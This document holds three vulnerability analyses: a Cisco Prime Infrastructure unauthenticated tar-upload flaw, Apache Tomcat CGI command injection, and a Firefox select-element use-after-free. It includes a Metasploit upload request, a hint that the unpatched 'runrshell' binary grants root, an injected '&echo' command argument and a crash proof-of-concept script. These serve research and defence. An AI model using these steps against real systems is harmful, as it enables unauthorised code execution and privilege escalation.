The first candidate obviously can be eliminated because that’s where the method comes from. If you’re at this point, it is REALLY difficult not to click on the UploadServlet, because anything that says “upload” in a web application is potentially a vulnerability.

Looking at the UploadServlet class, we immediately identity the code that is using the extractArchive method:

private boolean processFileUploadStream(FileItemStream item, InputStream istream, String destDir, String archiveOrigin, boolean archiveIsCompressed, String archiveName, long sizeInBytes, String outputDir) throws IOException {
  boolean result = false;
  
  try {
    FileExtractor extractor = new FileExtractor();
    AesLogImpl.getInstance().info(128, new Object[] { "processFileUploadStream: Start extracting archive = " + archiveName + " size= " + sizeInBytes });
    
    extractor.setDebug(this.debugTar);
    
    result = extractor.extractArchive(istream, destDir, archiveOrigin, archiveIsCompressed);
    ...

The processFileUploadStream method is private, and called from a doPost method:

public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
  boolean archiveIsCompressed;
  String fileName = null;
  
  long fileSize = 0L;
  
  result = false;
  response.setContentType("text/html");
  String destDir = request.getHeader("Destination-Dir");
  archiveOrigin = request.getHeader("Primary-IP");
  String fileCount = request.getHeader("Filecount");
  fileName = request.getHeader("Filename");
  String sz = request.getHeader("Filesize");
  if (sz != null)
    fileSize = Long.parseLong(sz); 
  String compressed = request.getHeader("Compressed-Archive");
  if (compressed.equals("true")) {
    archiveIsCompressed = true;
  } else {
    archiveIsCompressed = false;
  } 
  AesLogImpl.getInstance().info(128, new Object[] { "Received archive=" + fileName, " size=" + fileSize + " from " + archiveOrigin + " containing " + fileCount + " files to be extracted to: " + destDir });



  
  ServletFileUpload upload = new ServletFileUpload();
  
  upload.setSizeMax(-1L);
  PropertyManager pmanager = PropertyManager.getInstance(archiveOrigin);
  String outDir = pmanager.getOutputDirectory();
  
  File fOutdir = new File(outDir);
  if (!fOutdir.exists()) {
    AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Output directory for archives " + outDir + " does not exist. Continuing..." });
  }


  
  String debugset = pmanager.getProperty("DEBUG");
  if (debugset != null && debugset.equals("true")) {
    this.debugTar = true;
    AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Debug setting is specified" });
  } 


  
  try {
    FileItemIterator iter = upload.getItemIterator(request);
    while (iter.hasNext()) {
      FileItemStream item = iter.next();
      String name = item.getFieldName();
      InputStream stream = item.openStream();
      if (item.isFormField()) {
        AesLogImpl.getInstance().error(128, new Object[] { "Form field input stream with name " + name + " detected. Abort processing" });
        
        response.sendError(500, "Servlet does not handle FormField uploads.");
        
        return;
      } 
      
      result = processFileUploadStream(item, stream, destDir, archiveOrigin, archiveIsCompressed, fileName, fileSize, outDir);

      
      stream.close();
    }
  
  } catch (Exception e) {
    AesLogImpl.getInstance().error(128, new Object[] { "doPost - Caught an Exception while handling fileUpload " + e });
  
  }
  catch (OutOfMemoryError e) {
    AesLogImpl.getInstance().error(128, new Object[] { "doPost - Caught an OutOfMemoryError while handling fileUpload " });
  
  }
  catch (Throwable e) {
    AesLogImpl.getInstance().error(128, new Object[] { "doPost - Caught a Throwable while handling fileUpload " + e });
  }
  finally {
    
    if (result) {
      response.setStatus(200);
    } else {
      
      response.sendError(500, "Could not extract archive file from source " + archiveOrigin);
      
      AesLogImpl.getInstance().error1(128, "doPost - could not extract file from source ");
    } 
  } 
}

For an HTTP client such as Metasploit’s HttpClient mixin, we can send a POST request like this to satisfy the conditions needed for the doPost method:

post_data = Rex::MIME::Message.new
post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")

res = send_request_cgi({
  'method' => 'POST',
  'uri'    => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),
  'data'   => post_data.to_s,
  'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
  'headers' =>
    {
      'Destination-Dir' => 'tftpRoot',
      'Compressed-Archive' => 'false',
      'Primary-IP' => '127.0.0.1',
      'Filecount' => '1',
      'Filename' => tar.tar_name,
      'FileSize' => tar.length
    }
})

At this point, it is clear to us that we can send a malicious Tar file via a POST request to the UploadServlet (without any authentication), and then that will get extracted by the TarArchive library, allowing us to save the payload outside the intended directory, and gain remote code execution.

Root Access?

It is worth pointing out that in the public advisory and proof-of-concept, the vulnerability is described to give you remote code execution as root. In reality, you actually only get a lower web privilege for exploiting the TarArchive vulnerability. However, in the /opt/CSCOlumos/bin folder, there is an executable called runrshell that actually can be abused to give you root privilege access, and as of now isn’t patched by Cisco. This means that as long as you are able to gain remote code execution on Cisco Prime Infrastructure, you should always be get root access by taking advantage of runrshell.

Credit

Special thanks to Steven Seeley for providing setup, vulnerability information, and other resources in order to produce the Metasploit module.

1
Technical Analysis

Background

Apache Tomcat is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket technologies. It powers numerous large-scale, mission-critical web applications across a diverse range of industries and organizations.

The Common Gateway Interface (CGI) defines a way for a web server to interact with external content-generating programs, which are often referred to as CGI programs. Within Tomcat, CGI support is disabled by default, but can be manually added in the configuration file.

One of the configurations for the CGI servlet is enableCmdLineArguments, which allows command line arguments from the query string, but can be abused to inject system commands in order to gain remote code execution.

Vulnerable Setup

The following versions of Apache Tomcat on Windows are effected:

  • 9.0.0.M1 to 9.0.17
  • 8.5.0 to 8.5.39
  • 7.0.0 to 7.0.93

Since enableCmdLineArguments isn’t enabled by default, the following code needs to be added in the conf/web.xml file:

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
  <param-name>cgiPathPrefix</param-name>
  <param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
  <param-name>executable</param-name>
  <param-value></param-value>
</init-param>
<init-param>
  <param-name>enableCmdLineArguments</param-name>
  <param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

Also:

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>

Finally, a script should be added in the webapps\ROOT\WEB-INF\cgi directory, which is the trigger for the CGI servlet:

@echo off
echo Content-Type: text/plain
echo.
echo Hello, World!

For convenience, a vulnerable setup of Apache Tomcat can be downloaded here. It was also used during the analysis on a x64 Windows 10 with JDK 8 installed.

Vulnerability Analysis

Static Code Analysis

In Apache Tomcat, CGI support is handled by the CGIServlet class, which can be found in the lib/catalina.jar file. You can easily find this by grepping for CGISeverlet as the keyword.

CGIServlet is a subclass of the abstract HttpServlet class, which is within the Java API. The way you want to start reading this code is by looking at the service method, which will tell you to go down to doGet, so let’s start with doGet:

protected void doGet(HttpServletRequest req, HttpServletResponse res)
        throws ServletException, IOException {

    CGIEnvironment cgiEnv = new CGIEnvironment(req, getServletContext());

    if (cgiEnv.isValid()) {
        CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
                                      cgiEnv.getEnvironment(),
                                      cgiEnv.getWorkingDirectory(),
                                      cgiEnv.getParameters());

        if ("POST".equals(req.getMethod())) {
            cgi.setInput(req.getInputStream());
        }
        cgi.setResponse(res);
        cgi.run();
    } else {
        res.sendError(404);
    }

    if (log.isTraceEnabled()) {
        String[] cgiEnvLines = cgiEnv.toString().split(System.lineSeparator());
        for (String cgiEnvLine : cgiEnvLines) {
            log.trace(cgiEnvLine);
        }

        printServletEnvironment(req);
    }
}

The first thing that happens in the doGet method is creating a new instance of CGIEnvironment. The constructor of the class looks like this:

protected CGIEnvironment(HttpServletRequest req,
                         ServletContext context) throws IOException {
    setupFromContext(context);
    setupFromRequest(req);

    this.valid = setCGIEnvironment(req);

    if (this.valid) {
        workingDirectory = new File(command.substring(0,
              command.lastIndexOf(File.separator)));
    } else {
        workingDirectory = null;
    }
}

We see the first argument is an HttpServletRequest, which is extra interesting because since it’s an HTTP request, it implies there are user-controlled inputs. There are two methods that need the HTTP request: setupFromRequest, and setCGIEnvironment. Let’s take a look at the first:

protected void setupFromRequest(HttpServletRequest req)
        throws UnsupportedEncodingException {

    boolean isIncluded = false;

    // Look to see if this request is an include
    if (req.getAttribute(
            RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
        isIncluded = true;
    }
    if (isIncluded) {
        this.contextPath = (String) req.getAttribute(
                RequestDispatcher.INCLUDE_CONTEXT_PATH);
        this.servletPath = (String) req.getAttribute(
                RequestDispatcher.INCLUDE_SERVLET_PATH);
        this.pathInfo = (String) req.getAttribute(
                RequestDispatcher.INCLUDE_PATH_INFO);
    } else {
        this.contextPath = req.getContextPath();
        this.servletPath = req.getServletPath();
        this.pathInfo = req.getPathInfo();
    }
    // If getPathInfo() returns null, must be using extension mapping
    // In this case, pathInfo should be same as servletPath
    if (this.pathInfo == null) {
        this.pathInfo = this.servletPath;
    }

    // If the request method is GET, POST or HEAD and the query string
    // does not contain an unencoded "=" this is an indexed query.
    // The parsed query string becomes the command line parameters
    // for the cgi command.
    if (enableCmdLineArguments && (req.getMethod().equals("GET")
        || req.getMethod().equals("POST") || req.getMethod().equals("HEAD"))) {
        String qs;
        if (isIncluded) {
            qs = (String) req.getAttribute(
                    RequestDispatcher.INCLUDE_QUERY_STRING);
        } else {
            qs = req.getQueryString();
        }
        if (qs != null && qs.indexOf('=') == -1) {
            StringTokenizer qsTokens = new StringTokenizer(qs, "+");
            while ( qsTokens.hasMoreTokens() ) {
                cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(),
                                      parameterEncoding));
            }
        }
    }
}

The first block of the code about “include” can be skipped because that’s not what our request would be, so we want to focus on the second block:

if (enableCmdLineArguments && (req.getMethod().equals("GET")
                               || req.getMethod().equals("POST") || req.getMethod().equals("HEAD"))) {
  String qs;
  if (isIncluded) {
    qs = (String) req.getAttribute(
      RequestDispatcher.INCLUDE_QUERY_STRING);
  } else {
    qs = req.getQueryString();
  }
  if (qs != null && qs.indexOf('=') == -1) {
    StringTokenizer qsTokens = new StringTokenizer(qs, "+");
    while ( qsTokens.hasMoreTokens() ) {
      cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(),
                                              parameterEncoding));
    }
  }
}

The first thing that gets checked in the if condition is the enableCmdLineArguments variable, which is also mentioned in the advisory. By default, this option is set to false:

private boolean enableCmdLineArguments = false;

In the init function of CGIServlet, it is also clear for us that the setting needs to be configured in the config file in order to get loaded in the code:

if (getServletConfig().getInitParameter("enableCmdLineArguments") != null) {
    enableCmdLineArguments =
            Boolean.parseBoolean(config.getInitParameter("enableCmdLineArguments"));
}

As the advisory and the code describe, when enableCmdLineArguments is enabled and the request is either GET, POST, or HEAD, we basically reach this part of the code:

qs = req.getQueryString();

Once the query string is loaded, that is normalized into command line parameters:

if (qs != null && qs.indexOf('=') == -1) {
  StringTokenizer qsTokens = new StringTokenizer(qs, "+");
  while ( qsTokens.hasMoreTokens() ) {
    cmdLineParameters.add(URLDecoder.decode(qsTokens.nextToken(),
                                            parameterEncoding));
  }
}

Back to the doGet method, after the command line parameters are loaded. We are at this block of code:

CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
                              cgiEnv.getEnvironment(),
                              cgiEnv.getWorkingDirectory(),
                              cgiEnv.getParameters());

if ("POST".equals(req.getMethod())) {
  cgi.setInput(req.getInputStream());
}
cgi.setResponse(res);
cgi.run();

CGIRunner is a class that actually executes the CGI program, which occurs in the run method. The run method is really big, so it would be too much code to post but basically this is where code execution is gained:

rt = Runtime.getRuntime();
proc = rt.exec(
  cmdAndArgs.toArray(new String[cmdAndArgs.size()]),
  hashToStringArray(env), wd);

The run method also handles the program output that is returned to the HTTP client, which is another bonus for the attacker.

Dynamic Analysis

To verify this execution flow, we can use IntelliJ to set up some breakpoints to observe. To do this, first add the following to the bin/startup.bat file (at around line 21):

set JAVA_OPTS=-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=4000,server=y,suspend=n

Next, start that file. There will be two important ports running: 4000 is the debugging port, and 8080 is the Tomcat server where the CGI program is served. Connect port 4000 with IntelliJ.

There are many possible methods we can add breakpoints for, but since we have seen that the Java’s Runtime class is used to execute the CGI program, we can add a breakpoint right there:

java.lang.Runtime.exec

When we visit the CGI program, the breakpoint should trigger with the following backtrace:

exec:617, Runtime (java.lang)
run:1579, CGIServlet$CGIRunner (org.apache.catalina.servlets)
doGet:575, CGIServlet (org.apache.catalina.servlets)
service:538, CGIServlet (org.apache.catalina.servlets)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:200, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:490, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:678, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:834, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1415, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

For the extra file, we can also attach WinDBG to java.exe. You may have multiple java.exe for whatever reason, just make sure you’re attaching the one that listens on port 8080. In WinDBG, add this breakpoint:

bu KERNELBASE!CreateProcessW

Again, when you visit the CGI program, you should see that Java is using CreateProcessW to launch the CGI program:

0:021> r
rax=0000000000000001 rbx=0000000008000400 rcx=0000000000000000
rdx=0000000017bbdd80 rsi=0000000017f869f8 rdi=ffffffffffffff00
rip=00007ffd8d423dd0 rsp=0000000019d7dee8 rbp=0000000019d7e050
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000000
r11=0000000019d7df48 r12=0000000000000000 r13=0000000000000064
r14=00000000176d8980 r15=0000000000000060
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
KERNELBASE!CreateProcessW:
00007ffd`8d423dd0 4c8bdc          mov     r11,rsp
0:021> du rdx
00000000`17bbdd80  "C:\Users\sinn3r\Desktop\apache-t"
00000000`17bbddc0  "omcat-9.0.17\webapps\ROOT\WEB-IN"
00000000`17bbde00  "F\cgi\test.bat &echo CQdjFeaVZh"

It looks we are calling test.bat (the CGI program) with an arbitrary echo command. At this point, we have proven the exploitability of the vulnerability.

0
Technical Analysis

The vulnerability is easy enough to reproduce. A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash.
However, it seems jemalloc’s free chunk poisoning feature makes it tricky to gain control of the freed select element, therefore making exploitation more difficult in theory. Currently, there are no known working exploit in public.

Description

Firefox is a free and open-source web browser developed by the Mozilla Foundation.

A use-after-free vulnerability can occur after deleting a selection element due to a weak reference to the select element in the options collection, which gets garbage collected, and results in a potentially exploitable crash. Originally, it was discovered by Nils.

Vulnerable Version

Version 29 through 63 are affected. The Mozilla Firefox archive can be found here.

To check out and build the vulnerable version, you can try:

$ hg pull
$ hg update -r 12afa29e9c8cde597314f072c6f0c1f81d681b40
$ ./mach build

You may need to fix up some errors in order to build Firefox for the above commit. In my case, I ran into some Rust errors related to lack of macro documentation .

Patch

The vulnerability was patch on Nov 07 2018 by turning the HTMLSelectElement reference tracked in HTMLOptionsCollection a strong reference. It was implemented in two parts: The HTMLOptionsCollection class, and the HTMLSelectElement class. The commit can be found as:

d4f3e119ae841008c1be59e72ee0a058e3803cf3

Proof-of-Concept

The poc can be obtained from the Mozilla bug report #1499861:

<script>
  div = document.createElement("div");
	opt = document.createElement("option");
	div.appendChild(opt);
	div.addEventListener("DOMNodeRemoved", function() {
    sel = 0;
    new ArrayBuffer(0x0fffffff);
    alert();
  });
	sel = document.createElement("select");
	sel.options[0] = opt;
</script>

Initial Impression

After building Firefox, we attach WinDBG to it, and run it against the HTML test case. Immediately, we see a clean crash (where ESI is a reference to our select element):

0:000> r
eax=e5e5e5e5 ebx=05b1c940 ecx=09823b00 edx=05b1c940 esi=05b1c940 edi=09898b20
eip=6a64cacd esp=0058e810 ebp=0058e960 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
xul!nsINode::ReplaceOrInsertBefore+0x6ed:
6a64cacd 8b5804          mov     ebx,dword ptr [eax+4] ds:002b:e5e5e5e9=????????

The crash also leads to a possibly exploitable condition because the CALL [EAX+4] instruction:

0:000> u
xul!nsINode::ReplaceOrInsertBefore+0x6ed [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2527]:
6a64cacd 8b5804          mov     ebx,dword ptr [eax+4]
6a64cad0 85db            test    ebx,ebx
6a64cad2 741f            je      xul!nsINode::ReplaceOrInsertBefore+0x713 (6a64caf3)
6a64cad4 8b03            mov     eax,dword ptr [ebx]
6a64cad6 53              push    ebx
6a64cad7 ff5004          call    dword ptr [eax+4]
6a64cada 89d9            mov     ecx,ebx
6a64cadc 899db8feffff    mov     dword ptr [ebp-148h],ebx

The value e5e5e5e9 indicates a freed chunk being filled by the jemalloc allocator. Internally this behavior is called “poisoning”, because it allows the application to be somewhat in control of the freed chunk of memory over the attacker. The value was also carefully selected by the developers to make sure nobody can ever reach it.

The callstack for our crash also reveals where the reference might be kept:

0:000> k
 # ChildEBP RetAddr  
00 0058e960 6af72d6f xul!nsINode::ReplaceOrInsertBefore+0x6ed [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2527] 
01 0058e994 6ac37d55 xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter+0x5f [c:\mozilla-source\mozilla-central\dom\html\HTMLOptionsCollection.cpp @ 155] 
02 0058e9fc 6ace7984 xul!mozilla::dom::HTMLOptionsCollection_Binding::DOMProxyHandler::setCustom+0x255 [c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dom\bindings\HTMLOptionsCollectionBinding.cpp @ 989] 
03 0058ea60 6c74ef37 xul!mozilla::dom::DOMProxyHandler::set+0x34 [c:\mozilla-source\mozilla-central\dom\bindings\DOMJSProxyHandler.cpp @ 255] 
04 0058eab8 6c855224 xul!js::Proxy::set+0x127 [c:\mozilla-source\mozilla-central\js\src\proxy\Proxy.cpp @ 450] 
05 0058edf8 6c853996 xul!Interpret+0x1724 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 3328] 
06 0058ee80 6c85f24a xul!js::RunScript+0x196 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 447] 
07 0058eee0 6c85f399 xul!js::ExecuteKernel+0xfa [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 813] 
08 0058ef30 6c561970 xul!js::Execute+0xe9 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 845] 
09 0058ef54 6c561b2a xul!ExecuteScript+0x60 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 394] 
0a 0058ef98 6c561a34 xul!ExecuteScript+0xea [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 415] 
0b 0058efa8 6a658689 xul!JS_ExecuteScript+0x14 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 436] 
0c 0058efcc 6b4a1b4a xul!nsJSUtils::ExecutionContext::CompileAndExec+0x69 [c:\mozilla-source\mozilla-central\dom\base\nsJSUtils.cpp @ 254] 
0d 0058f160 6b4a06c9 xul!mozilla::dom::ScriptLoader::EvaluateScript+0x7ca [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 2415] 
0e 0058f1a8 6b49fce4 xul!mozilla::dom::ScriptLoader::ProcessRequest+0x239 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 2036] 
0f 0058f268 6b499821 xul!mozilla::dom::ScriptLoader::ProcessInlineScript+0x564 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 1636] 
10 0058f520 6b499280 xul!mozilla::dom::ScriptLoader::ProcessScriptElement+0x551 [c:\mozilla-source\mozilla-central\dom\script\ScriptLoader.cpp @ 1356] 
11 0058f554 6a15c3e1 xul!mozilla::dom::ScriptElement::MaybeProcessScript+0x160 [c:\mozilla-source\mozilla-central\dom\script\ScriptElement.cpp @ 141] 
12 0058f570 6a15ae9f xul!nsHtml5TreeOpExecutor::RunScript+0x101 [c:\mozilla-source\mozilla-central\parser\html\nsHtml5TreeOpExecutor.cpp @ 742] 
13 0058f5bc 6a15dd9c xul!nsHtml5TreeOpExecutor::RunFlushLoop+0x40f [c:\mozilla-source\mozilla-central\parser\html\nsHtml5TreeOpExecutor.cpp @ 544] 
14 0058f5c4 6994f087 xul!nsHtml5ExecutorFlusher::Run+0x1c [c:\mozilla-source\mozilla-central\parser\html\nsHtml5StreamParser.cpp @ 125] 
15 0058f604 6995a53f xul!mozilla::SchedulerGroup::Runnable::Run+0x27 [c:\mozilla-source\mozilla-central\xpcom\threads\SchedulerGroup.cpp @ 337] 
16 0058fb10 6995c6b6 xul!nsThread::ProcessNextEvent+0x60f [c:\mozilla-source\mozilla-central\xpcom\threads\nsThread.cpp @ 1246] 
17 0058fb34 69d28494 xul!NS_ProcessNextEvent+0x56 [c:\mozilla-source\mozilla-central\xpcom\threads\nsThreadUtils.cpp @ 530] 
18 0058fb5c 69d0580d xul!mozilla::ipc::MessagePump::Run+0xe4 [c:\mozilla-source\mozilla-central\ipc\glue\MessagePump.cpp @ 97] 
19 0058fb94 69d05776 xul!MessageLoop::RunHandler+0x6d [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 319] 
1a 0058fbb4 6b540055 xul!MessageLoop::Run+0x46 [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 299] 
1b 0058fbc4 6b594e3f xul!nsBaseAppShell::Run+0x25 [c:\mozilla-source\mozilla-central\widget\nsBaseAppShell.cpp @ 160] 
1c 0058fbe0 6c4688d7 xul!nsAppShell::Run+0xaf [c:\mozilla-source\mozilla-central\widget\windows\nsAppShell.cpp @ 420] 
1d 0058fbf8 69d287d8 xul!XRE_RunAppShell+0x37 [c:\mozilla-source\mozilla-central\toolkit\xre\nsEmbedFunctions.cpp @ 939] 
1e 0058fc10 69d0580d xul!mozilla::ipc::MessagePumpForChildProcess::Run+0x18 [c:\mozilla-source\mozilla-central\ipc\glue\MessagePump.cpp @ 302] 
1f 0058fc48 69d05776 xul!MessageLoop::RunHandler+0x6d [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 319] 
20 0058fc68 6c468729 xul!MessageLoop::Run+0x46 [c:\mozilla-source\mozilla-central\ipc\chromium\src\base\message_loop.cc @ 299] 
21 0058fd68 6c470fc1 xul!XRE_InitChildProcess+0x7c9 [c:\mozilla-source\mozilla-central\toolkit\xre\nsEmbedFunctions.cpp @ 769] 
22 0058fd7c 00f114f6 xul!mozilla::BootstrapImpl::XRE_InitChildProcess+0x11 [c:\mozilla-source\mozilla-central\toolkit\xre\Bootstrap.cpp @ 69] 
23 0058fee8 00f111cd firefox!NS_internal_main+0x286 [c:\mozilla-source\mozilla-central\browser\app\nsBrowserApp.cpp @ 301] 
24 0058ff14 00f467bb firefox!wmain+0x1cd [c:\mozilla-source\mozilla-central\toolkit\xre\nsWindowsWMain.cpp @ 143] 
25 0058ff5c 746f8674 firefox!__scrt_common_main_seh+0xfa [d:\agent\_work\4\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
26 0058ff70 77c05e17 KERNEL32!BaseThreadInitThunk+0x24
27 0058ffb8 77c05de7 ntdll!__RtlUserThreadStart+0x2f
28 0058ffc8 00000000 ntdll!_RtlUserThreadStart+0x1b

In source, the crash occurs at this line:

nsINode*
nsINode::ReplaceOrInsertBefore(bool aReplace, nsINode* aNewChild,
                               nsINode* aRefChild, ErrorResult& aError)
{
	...
  mozAutoDocUpdate batch(GetComposedDoc(), true); // Crash
  ...

In-Depth Analysis

The Sequential Order

Debugging a use-after-free in a browser is not exactly a straight forward task, because typically a bug like this involves multiple event handlers, where browsers tend to have trouble with. A strategy for this is try to understand the events in a sequential order, and one approach for that is by printing debugging messages for each JavaScript line (plus others if you\’re particularily interested in different things), and see what the debugger tells you.

The breakpoints I used:

bu xul!js::math_sin ".printf \"[Sin Message] %ma\\n\", poi(poi(esp+c)+10)+ 8; g"
bu xul!NS_NewHTMLSelectElement+0x17 ".printf \"Select Element = 0x%p\\n\", eax; g"
bu xul!js::math_cos
bu xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter "r; g"
bu xul!js::ArrayBufferObject::class_constructor+0x13b ".printf \"ArrayBuffer=0x%p Size=0x%08x\\n\", eax, poi(ebp-0x2c); g"
bu xul!NS_NewHTMLOptionElement+0x10 ".printf \"Option Element = 0x%p\\n\", eax; g"

Another trick I also did was break-on-write on the select element after creation. Knowing that the select element is freed and later poisoned by jemalloc, the break-on-write technique would allow us to find when those happen:

[Sin Message] Creating select element
Select Element = 0x064f8040
...
0:000> ba w4 064f8040

Our modified test case customized for those breakpoints:

<script>
  Math.sin("Creating div element");
  div = document.createElement("div");
  Math.sin("Creating option element");
  opt = document.createElement("option");
  Math.sin("Append option");
  div.appendChild(opt);
  Math.sin("Adding listener");
  div.addEventListener("DOMNodeRemoved", function() {
    Math.cos(1);
    Math.sin("sel=0");
    sel = 0;
    Math.sin("new ArrayBuffer");
    new ArrayBuffer(0xfffffff);
    Math.cos(1);
    Math.sin("alert");
    alert();
  });
  Math.sin("Creating select element");
  sel = document.createElement("select");
  Math.sin("Setting option");
  sel.options[0] = opt;
</script>

By running the above test case, we got our sequence of events. I\’d like to explain them in two stages, where the second is where things get more hairy for Firefox, eventually causing to fail.

The Setup Stage

  1. DIV element is created.

  2. OPTION element is created.

  3. OPTION element appends to the DIV element.

  4. The DOMNodeRemoved listener for the DIV element is added.

  5. The SELECT element is created. This is also when a mSelect weak reference is created:

   // In dom\html\HTMLOptionsCollection.cpp
   // line 34
   // The callstack for this would be:
   // 00 xul!mozilla::dom::HTMLOptionsCollection::HTMLOptionsCollection
   // 01 xul!mozilla::dom::HTMLSelectElement::HTMLSelectElement
   // 02 xul!NS_NewHTMLSelectElement
   // 03 xul!CreateHTMLElement
   HTMLOptionsCollection::HTMLOptionsCollection(HTMLSelectElement* aSelect)
   {
     // Do not maintain a reference counted reference. When
     // the select goes away, it will let us know.
     mSelect = aSelect;
   }

The Bug Triggering Stage

After the setup stage, the following events happen and finally get us a crash:

  1. The SELECT element\’s options at index 0 is set with the Option element.
  2. In the event handler, the SELECT element is set to 0.
  3. A new ArrayBuffer with size 0x0fffffff is created.
  4. An alert pops up.
  5. Firefox crashes.

First off, the DOMNodeRemoved event handler for the DIV element is triggered. This condition occurs when the Option element is being assigned as a member to a select element:

sel.options[0] = opt;

Under the hood, this means we\’re asking the index setter in the HTMLOptionsCollection to kick in, which causes nsContentUtils::MaybeFireNodeRemoved to fire like this callstack shows:

Breakpoint 7 hit
eax=08715060 ebx=00000000 ecx=08730401 edx=00000001 esi=000000fb edi=087304c0
eip=6a89c870 esp=006fe814 ebp=006fe970 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
xul!nsContentUtils::MaybeFireNodeRemoved:
6a89c870 55              push    ebp
0:000> k
 # ChildEBP RetAddr  
00 006fe810 6a9bc4bf xul!nsContentUtils::MaybeFireNodeRemoved [c:\mozilla-source\mozilla-central\dom\base\nsContentUtils.cpp @ 4689] 
01 006fe970 6b2e2d6f xul!nsINode::ReplaceOrInsertBefore+0xdf [c:\mozilla-source\mozilla-central\dom\base\nsINode.cpp @ 2335] 
02 006fe9a4 6afa7d55 xul!mozilla::dom::HTMLOptionsCollection::IndexedSetter+0x5f [c:\mozilla-source\mozilla-central\dom\html\HTMLOptionsCollection.cpp @ 155] 
03 006fea0c 6b057984 xul!mozilla::dom::HTMLOptionsCollection_Binding::DOMProxyHandler::setCustom+0x255 [c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dom\bindings\HTMLOptionsCollectionBinding.cpp @ 989] 
04 006fea70 6cabef37 xul!mozilla::dom::DOMProxyHandler::set+0x34 [c:\mozilla-source\mozilla-central\dom\bindings\DOMJSProxyHandler.cpp @ 255] 
05 006feac8 6cbc5224 xul!js::Proxy::set+0x127 [c:\mozilla-source\mozilla-central\js\src\proxy\Proxy.cpp @ 450] 
06 006fee08 6cbc3996 xul!Interpret+0x1724 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 3328] 
07 006fee90 6cbcf24a xul!js::RunScript+0x196 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 447] 
08 006feef0 6cbcf399 xul!js::ExecuteKernel+0xfa [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 813] 
09 006fef40 6c8d1970 xul!js::Execute+0xe9 [c:\mozilla-source\mozilla-central\js\src\vm\Interpreter.cpp @ 845] 
0a 006fef64 6c8d1b2a xul!ExecuteScript+0x60 [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 394] 
0b 006fefa8 6c8d1a34 xul!ExecuteScript+0xea [c:\mozilla-source\mozilla-central\js\src\vm\CompilationAndEvaluation.cpp @ 415] 
